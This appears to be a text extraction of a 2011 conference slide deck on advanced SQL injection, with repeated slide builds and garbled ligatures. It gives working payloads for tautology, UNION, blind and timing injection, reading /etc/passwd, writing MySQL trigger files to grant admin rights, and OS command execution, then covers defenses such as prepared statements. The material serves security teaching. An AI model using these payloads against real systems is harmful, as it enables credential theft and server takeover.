Post on 06-May-2015
description
Confraria InfoSec Advanced SQL injection:
Attacks & Defenses26/01/2011
SAPO Websecurity Team
Summary
2
• Mo$va$on• Objec$ves• What is SQLi?• A8ack using Tautologies• A8ack using union query• Blind Injec$on• Timing A8acks• Second Order SQLi• File System Access• Piggy-‐backed Queries• Use of SELECT to INSERT or UPDATE• Common Mistakes while Protec$ng
• Int queries• Blacklist Approach
• Best Prac$ces• Prepared Statements• Escaping/Valida$ng Input
Summary:
SAPO Websecurity Team Confraria InfoSec
Motivation
3
OWASP Top10 Applica0on Security Risks
SAPO Websecurity Team Confraria InfoSec
Objectives
4
• Awareness: • This is a real problem and it’s dangerous
• How to protect your code: • There are good and bad protecCons.
Two Objec0ves:
SAPO Websecurity Team Confraria InfoSec
SQLi > What is it?
5
• SQL InjecCon vulnerabiliCes are introduced when soJware developers use unstrusted data in the construcCon of dynamic SQL queries
What is it?
Example of Vulnerable query:
Impact of SQLi:
• Data loss or corrupCon• Data leakage • DoS• SomeCmes can lead to complete host takeover• ReputaCon can be harmed.
SAPO Websecurity Team Confraria InfoSec
SQLi > Example of Attack using Tautologies
6
Example of Vulnerable code:
SAPO Websecurity Team Confraria InfoSec
SQLi > Example of Attack using Tautologies
6
Example of Vulnerable code:
AFack:• h8p://vuln.example/login?username=x’ or 1=1 limit 0,1-‐-‐ -‐
Query executed:• SELECT id,group,full_name FROM users WHERE username=’x’ or 1=1 limit 0,1
SAPO Websecurity Team Confraria InfoSec
SQLi > Example of Attack using Tautologies
6
Example of Vulnerable code:
AFack:• h8p://vuln.example/login?username=x’ or 1=1 limit 0,1-‐-‐ -‐
Query executed:• SELECT id,group,full_name FROM users WHERE username=’x’ or 1=1 limit 0,1
Query returns the first row of table users, thus you’ll login with that user and see his full name
SAPO Websecurity Team Confraria InfoSec
SQLi > More Advanced Attack using union queries
7
Example of Vulnerable code:
AFack:• h8p://vuln.example/login?username=x’ and 1=0 union select null,null,table_name from informa$on_schema.tables limit 30,1-‐-‐ -‐
Query executed:• SELECT id,group,full_name FROM users WHERE username=’x’ and 1=0 union select null,null,table_name from informaCon_schema.tables limit 30,1
SAPO Websecurity Team Confraria InfoSec
SQLi > More Advanced Attack using union queries
7
Example of Vulnerable code:
AFack:• h8p://vuln.example/login?username=x’ and 1=0 union select null,null,table_name from informa$on_schema.tables limit 30,1-‐-‐ -‐
Query executed:• SELECT id,group,full_name FROM users WHERE username=’x’ and 1=0 union select null,null,table_name from informaCon_schema.tables limit 30,1
• You use the the UNION and the 3rd column of the query (full_name) to dump informaCon from the db• You can use the ORDER BY <fieldNumber> to find the number of columns in the query• You can also use CONCAT() to retrieve several fields as one field
SAPO Websecurity Team Confraria InfoSec
SQLi > Blind injection
8
SAPO Websecurity Team Confraria InfoSec
SQLi > Blind injection
8
... but someCmes you are not that lucky. SomeCmes the only informaCon you can get is a binary result -‐ true or false, 1 or 0, error or no-‐error. That is called a Blind SQLi.
SAPO Websecurity Team Confraria InfoSec
SQLi > Blind injection
8
... but someCmes you are not that lucky. SomeCmes the only informaCon you can get is a binary result -‐ true or false, 1 or 0, error or no-‐error. That is called a Blind SQLi.
Imagine that the following URL is vulnerable to a blind SQLi:• hAp://vuln.example.com/news.php?id=12
SAPO Websecurity Team Confraria InfoSec
SQLi > Blind injection
8
... but someCmes you are not that lucky. SomeCmes the only informaCon you can get is a binary result -‐ true or false, 1 or 0, error or no-‐error. That is called a Blind SQLi.
Imagine that the following URL is vulnerable to a blind SQLi:• hAp://vuln.example.com/news.php?id=12
Trying to guess the table name:• id=5 union all select 1,2,3 from admin /* Returns an error if table admin does not exist */
SAPO Websecurity Team Confraria InfoSec
SQLi > Blind injection
8
... but someCmes you are not that lucky. SomeCmes the only informaCon you can get is a binary result -‐ true or false, 1 or 0, error or no-‐error. That is called a Blind SQLi.
Imagine that the following URL is vulnerable to a blind SQLi:• hAp://vuln.example.com/news.php?id=12
Trying to guess the table name:• id=5 union all select 1,2,3 from admin /* Returns an error if table admin does not exist */
Trying to guess the column names:• id=5 union all select 1,2,passwd from admin /* Returns an error if column passwd does not exist */
SAPO Websecurity Team Confraria InfoSec
SQLi > Blind injection
8
... but someCmes you are not that lucky. SomeCmes the only informaCon you can get is a binary result -‐ true or false, 1 or 0, error or no-‐error. That is called a Blind SQLi.
Imagine that the following URL is vulnerable to a blind SQLi:• hAp://vuln.example.com/news.php?id=12
Trying to guess the table name:• id=5 union all select 1,2,3 from admin /* Returns an error if table admin does not exist */
Trying to guess the column names:• id=5 union all select 1,2,passwd from admin /* Returns an error if column passwd does not exist */Extract ‘username:passwd’ from table (char by char):• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>64 /* ret true */• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>96 /* ret true */• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>100 /* ret false */• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>97 /* ret false */ (....)• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),2,1))>64 /* ret true */ (...)
Don’t worry, you have tools to automaCze this...
SAPO Websecurity Team Confraria InfoSec
SQLi > Get around blind SQLi > sqlmap
9
sqlmap can save you a lot of Cme when exploiCng a blind SQL injecCon. There are a lot of other powerful opCons at your disposal as well...
SAPO Websecurity Team Confraria InfoSec
SQLi > Timing attacks
10
SomeCmes you don’t even get a True/False or Error/Non-‐Error response. In those cases you need to use a Timing aback
A real example -‐ LightNEasy CMS 3.2.1:
handle=" UNION SELECT IF(SUBSTRING(password,1 ,1) = CHAR(98), BENCHMARK(10000000, ENCODE('Slow','Down')), null),2,3,4,5,6,7,8,9,10,11 FROM lne_users WHERE id="1&password=&do=login&=Login
POST Data:
If the first character of the admin hash is b, the query will take around 5 seconds to execute
SAPO Websecurity Team Confraria InfoSec
SQLi > Timing attacks
11
BENCHMARK() is MySQL-‐specific, but you have alternaCve funcCons in other DBMS
MySQL BENCHMARK(10000000,md5(1)) or SLEEP(5)
PostgreSQL PG_SLEEP(5) or GENERATE_SERIES(1,1000000)
MS SQL Server WAITFOR DELAY ‘0:0:5’
SAPO Websecurity Team Confraria InfoSec
SQLi > Second Order SQLi
12
• Create an user: EveMalory’ OR user=‘admin
• User logs in• Ader logging in, the script queries for user’s info based on the retrieved username: SELECT user, password, full_name, age, homepage, gender FROM users WHERE user=‘EveMalory’ OR user=‘admin’
• EveMalory does not exist, thus we’ll read admin’s info.
What is it?When the abacker is able to insert malicious input that does no harm to the query in the page but will exploit a vulnerability in another page that reads that malicious input to query the database
Example:
SAPO Websecurity Team Confraria InfoSec
SQLi > File System Access
13
MySQL requirements: FILE privileges -‐> Have your ever typed “GRANT ALL PRIVILEGES...”?
Read Access
SAPO Websecurity Team Confraria InfoSec
SQLi > File System Access
13
MySQL requirements: FILE privileges -‐> Have your ever typed “GRANT ALL PRIVILEGES...”?
Read Access
1-‐ Inject a LOAD_FILE() call using your favorite SQLi technique.... union select 1,1, LOAD_FILE('/etc/passwd'),1,1;
2-‐ Get the LOAD_FILE() output.-‐ 5000 chars limit if abusing a varchar column-‐ early char truncate if forcing SQL errors-‐ binary content
SAPO Websecurity Team Confraria InfoSec
SQLi > File System Access
13
MySQL requirements: FILE privileges -‐> Have your ever typed “GRANT ALL PRIVILEGES...”?
Read Access
1-‐ Inject a LOAD_FILE() call using your favorite SQLi technique.... union select 1,1, LOAD_FILE('/etc/passwd'),1,1;
2-‐ Get the LOAD_FILE() output.-‐ 5000 chars limit if abusing a varchar column-‐ early char truncate if forcing SQL errors-‐ binary content
If you have piggy-‐backed queries (and CREATE TABLE privileges)-‐ create a support table-‐ redirect LOAD_FILE() to other file using INTO DUMPFILE, but hex encoded-‐ read the second file with LOAD DATA INFILE to the support table-‐ read the support table with standard SQLi
CREATE TABLE potatoes(line BLOB);UNION SELECT 1,1, HEX(LOAD_FILE('/etc/passwd')),1,1 INTO DUMPFILE ‘/tmp/potatoes’;LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes;
SAPO Websecurity Team Confraria InfoSec
SQLi > File System Access
14
MySQL requirements: FILE privileges
1-‐ Use INTO DUMPFILE through union or piggy-‐backed SQLi
LimitaCons-‐ limits on GET parameters length-‐ INTO DUMPFILE does not append data
Again, if you have piggy-‐backed queries-‐ create a support table-‐ INSERT first chunk of the file into the table-‐ using UPDATE, CONCAT the other chunks to the first one-‐ write the file with SELECT INTO DUMPFILE
Write Access
SAPO Websecurity Team Confraria InfoSec
SQLi > File System Access
15
MySQL requirements: FILE and INSERT privileges, and piggy-‐backed queries
Using User Defined FuncCons (UDF)-‐ funcCons created from shared libraries on the system to be used in SELECT statements
CREATE FUNCTION f_name RETURNS INTEGER SONAME shared_library
Operaang System Command Execuaon
-‐ Fingerprint you target-‐ DMBS, version and host OS-‐ with that find out the shared libraries paths
-‐ Create a shared library locally, built with the headers of the target-‐ include either the sys_eval() or sys_exec() funcCon
-‐ Upload the craJed shared library to the shared libraries path-‐ Create the UDF-‐ Execute the OS command using the sys_*() funcCons
SAPO Websecurity Team Confraria InfoSec
SQLi > File System Access
16
MS SQL Server is our friend
-‐ xp_cmdshell() procedure-‐ executes commands on the host OS-‐ returns the command output-‐ newest versions have it disabled, but...
-‐ create a support table-‐ execute xp_cmdshell() and redirect output to a temporary file-‐ read the file into the support table using BULK INSERT-‐ SQLi the support table-‐ clean up :)
-‐ use xp_cmd_shell() to delete temporary file-‐ delete the support table
or, if you don’t care about the output
-‐ execute xp_cmdshell()
Operaang System Command Execuaon
SAPO Websecurity Team Confraria InfoSec
SQLi > Piggy-backed queries
17
So, what can we do if MySQL and PHP/ASP is being used and we want to insert or update data?
SQL Server MySQL PostgreSQL
ASP
ASP.NET
PHP
The ability to use the vulnerability to insert a second query
SELECT user, password from users where id=2; drop table users
What is it?
Example (user input in bold):
SAPO Websecurity Team Confraria InfoSec
SQLi > Use of SELECT to INSERT or UPDATE
18
• Found by Stefano Di Paola from Minded Security
• MySQL specific
• Requires FILE privileges• The idea is to abuse Triggers to insert or update data • One interesCng property about MySQL Triggers is that they are stored in text files :-‐)
• Works whether the DBMS is hosted on the same or on a different server
• The only problem is that, based on my tests, MySQL needs to be restarted aJer the aback
SAPO Websecurity Team Confraria InfoSec
SQLi > Use of SELECT to INSERT or UPDATE
19
$ cat /opt/local/var/db/mysql5/test/utu.TRN:TYPE=TRIGGERNAMEtrigger_table=users
$ cat /opt/local/var/db/mysql5/test/users.TRG:TYPE=TRIGGERStriggers='CREATE DEFINER=`root`@`localhost` trigger utu before insert on users for each row set NEW.groupid=\'admin\''sql_modes=0definers='root@localhost'client_cs_names='laCn1'connecCon_cl_names='laCn1_swedish_ci'db_cl_names='laCn1_swedish_ci'
mysql> create trigger utu before insert on users for each row set NEW.groupid='admin'; Query OK, 0 rows affected (0.57 sec)
How to create a Trigger to update the table users to set the groupid as admin when a new user is created?
SAPO Websecurity Team Confraria InfoSec
SQLi > Use of SELECT to INSERT or UPDATE
20
mysql> select username from users where id=3 and 1=0 union select 'TYPE=TRIGGERS' into ouKile '/opt/local/var/db/mysql5/test/users.TRG' LINES TERMINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger utu before insert on users for each row set NEW.groupid=\\\'admin\\\'\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'laXn1\'\nconnecXon_cl_names=\'laXn1_swedish_ci\'\ndb_cl_names=\'laXn1_swedish_ci\'\n';Query OK, 1 row affected (0.06 sec)
mysql> select username from users where id=3 and 1=0 union select 'TYPE=TRIGGERNAME' into ouKile '/opt/local/var/db/mysql5/test/utu.TRN' LINES TERMINATED BY '\ntrigger_table=users\n';Query OK, 1 row affected (0.03 sec)
How can we take advantage of a SQLi to create the trigger?
We can use INTO OUTFILE to write the trigger files:
/opt/local/var/db/mysql5/test/users.TRG:
/opt/local/var/db/mysql5/test/utu.TRN:
SAPO Websecurity Team Confraria InfoSec
SQLi > Some Stats
21
But wait, is SQLi a common problem? YES!
According to exploit-‐db.com, from Sep-‐Nov 2010 they reported:• 190 SQLi vulnerabiliCes in popular Web Applicaaons,
•40 were blind SQLi•36 were in Joomla Components
SAPO Websecurity Team Confraria InfoSec
SQLi > Some Stats
22
To get this stats, I was searching for the string “sql injecCon”...
.. and I noCced that the results page was broken, so I tried to exploit it and found it was vulnerable to XSS.
I reported the vulnerability and it was fixed within 10 minutes.
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections
23
Common Mistakes When Protecang your Code
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections > Int values
24
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections > Int values
24
Some folks say that escaping user input is enough (‘ , “ , \r, \n, NUL and Control-‐Z) to prevent SQLi, but is it?
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections > Int values
24
Some folks say that escaping user input is enough (‘ , “ , \r, \n, NUL and Control-‐Z) to prevent SQLi, but is it?
Imagine the following query string from user.php which displays the name of the user :
Is this vulnerable to SQLi?
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections > Int values
24
Some folks say that escaping user input is enough (‘ , “ , \r, \n, NUL and Control-‐Z) to prevent SQLi, but is it?
Imagine the following query string from user.php which displays the name of the user :
Is this vulnerable to SQLi?
What if I enter the following URL:• hAp://vuln.example.com/user.php?id=12 AND 1=0 union select 1,concat(user,0x3a,password),
3,4,5,6 from mysql.user where user=substring_index(current_user(),char(64),1)
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections > Int values
24
Some folks say that escaping user input is enough (‘ , “ , \r, \n, NUL and Control-‐Z) to prevent SQLi, but is it?
Imagine the following query string from user.php which displays the name of the user :
Is this vulnerable to SQLi?
What if I enter the following URL:• hAp://vuln.example.com/user.php?id=12 AND 1=0 union select 1,concat(user,0x3a,password),
3,4,5,6 from mysql.user where user=substring_index(current_user(),char(64),1)
mysql_real_escape_string() will not escape any character because there isn’t any to be escaped, therefore root:*31EFD0D03381795E5B770791D7A56CCD379F1141 will be output to the screen
The query result is the following:
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections > Alternate Encodings
25
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections > Alternate Encodings
25
• Consider the GBK Chinese unicode charset• Let’s take a look at some characters:
0x 5c = \ 0x 27 = ʼ 0x bf 27 = ¿ʼ 0x bf 5c = 縗
db interprets as 2 chars
db interprets as a single chinese char
I found this in a Quiz for a Security course from a popular University:
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections > Alternate Encodings
25
• Consider the GBK Chinese unicode charset• Let’s take a look at some characters:
0x 5c = \ 0x 27 = ʼ 0x bf 27 = ¿ʼ 0x bf 5c = 縗
db interprets as 2 chars
db interprets as a single chinese char
• Imagine that you use addslashes() to escape input in your code
• If abacker inputs ¿' or 1=1 , the string becomes ¿\' (0xbf5c27)
• But 0xbf5c is the chinese char 縗, thus the resulCng string is interpreted as 縗‘ OR 1=1
• In case you haven’t noCced, you just bypassed the escaping funcCon
I found this in a Quiz for a Security course from a popular University:
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections > Blacklist filtering
26
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections > Blacklist filtering
26
• Blacklists, i.e filter out some chars or expressions, is not a good pracCce
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections > Blacklist filtering
26
• Imagine that you filter the following from user input:• Spaces• Quotes (“ and ‘)• Some SQL keywords (like where)
• Blacklists, i.e filter out some chars or expressions, is not a good pracCce
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections > Blacklist filtering
26
• Imagine that you filter the following from user input:• Spaces• Quotes (“ and ‘)• Some SQL keywords (like where)
You shall not use spaces:SELECT/**/passwd/**/from/**/user or SELECT(passwd)from(user)
• Blacklists, i.e filter out some chars or expressions, is not a good pracCce
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections > Blacklist filtering
26
• Imagine that you filter the following from user input:• Spaces• Quotes (“ and ‘)• Some SQL keywords (like where)
You shall not use spaces:SELECT/**/passwd/**/from/**/user or SELECT(passwd)from(user)
You shall not use quotes:SELECT passwd from users where user=0x61646D696E (hex for admin)
• Blacklists, i.e filter out some chars or expressions, is not a good pracCce
SAPO Websecurity Team Confraria InfoSec
SQLi > Wrong Protections > Blacklist filtering
26
• Imagine that you filter the following from user input:• Spaces• Quotes (“ and ‘)• Some SQL keywords (like where)
You shall not use spaces:SELECT/**/passwd/**/from/**/user or SELECT(passwd)from(user)
You shall not use quotes:SELECT passwd from users where user=0x61646D696E (hex for admin)
You shall not use the where keyword: You can use HAVING and IF() and ORDER BY
You get the idea...
• Blacklists, i.e filter out some chars or expressions, is not a good pracCce
SAPO Websecurity Team Confraria InfoSec
SQLi > How to Protect against SQLi?
27
Two main defenses:
• Prepared Statements / Parameterized Queries
• Escaping/ValidaCng Input
SAPO Websecurity Team Confraria InfoSec
SQLi > Protect against SQLi > Prepared Statements
28
Prepared Statements:• Prepared statements keep the query structure and query data separated through the use of placeholders known as bound parameters. The developer must then set values for the placeholders.
• Prepared statements ensure that an abacker is not able to change the intent of a query, even if SQL commands are inserted by an abacker
Example:
SAPO Websecurity Team Confraria InfoSec
SQLi > Protect against SQLi > Escaping/Validating INPUT
29
• If Prepared Statements are not possible you should Escape and Validate user input
• You can also use this technique in addi$on to prepared statements
If you know what input you are expecCng you can validate it:
• If you are expecCng integers cast the input to integer or use PHP’s intval()• If you are expecCng an email address you can use a regexp to validate it• If you are expecCng the user’s name it’s not so simple (because of the ‘)
Escape all the user input:
• Each programming language has its own funcCons or methods• in PHP you can use addslashes() (with cauCon)• If possible use the DBMS specific escaping funcCon (e.g. mysql_real_escape_string())
SAPO Websecurity Team Confraria InfoSec
SQLi > Protect against SQLi > Other
30
• Create a specific database user to be used exclusively by your Web App
• Only grant the user with the necessary privileges (exclude file, drop, create, etc from the list)
• Limit the access to the database to localhost only (if possible) or to the Web frontends
• Limit the access of the database user to the Web App database only (don’t allow the db user to access other databases)
• SET THE DBMS ROOT’S PASSWORD! (seriously)
• Use strong passwords in your DBMS for root and all other users
Other important recommendaaons:
SAPO Websecurity Team Confraria InfoSec
SQLi
31
Thank you!Quesaons?
Nuno Loureiro <nuno@co.sapo.pt>Tiago Mendo <Cago.mendo@telecom.pt>
SAPO Websecurity Team Confraria InfoSec
SQLi > References
32
• hAp://websec.wordpress.com/
• hAp://blog.mindedsecurity.com/• hAp://www.webappsec.org/
• hAp://www.owasp.org/
• Advanced SQL injec0on to opera0ng system full control, Bernardo Damele Guimarães, 2009
Websites:
Whitepaper: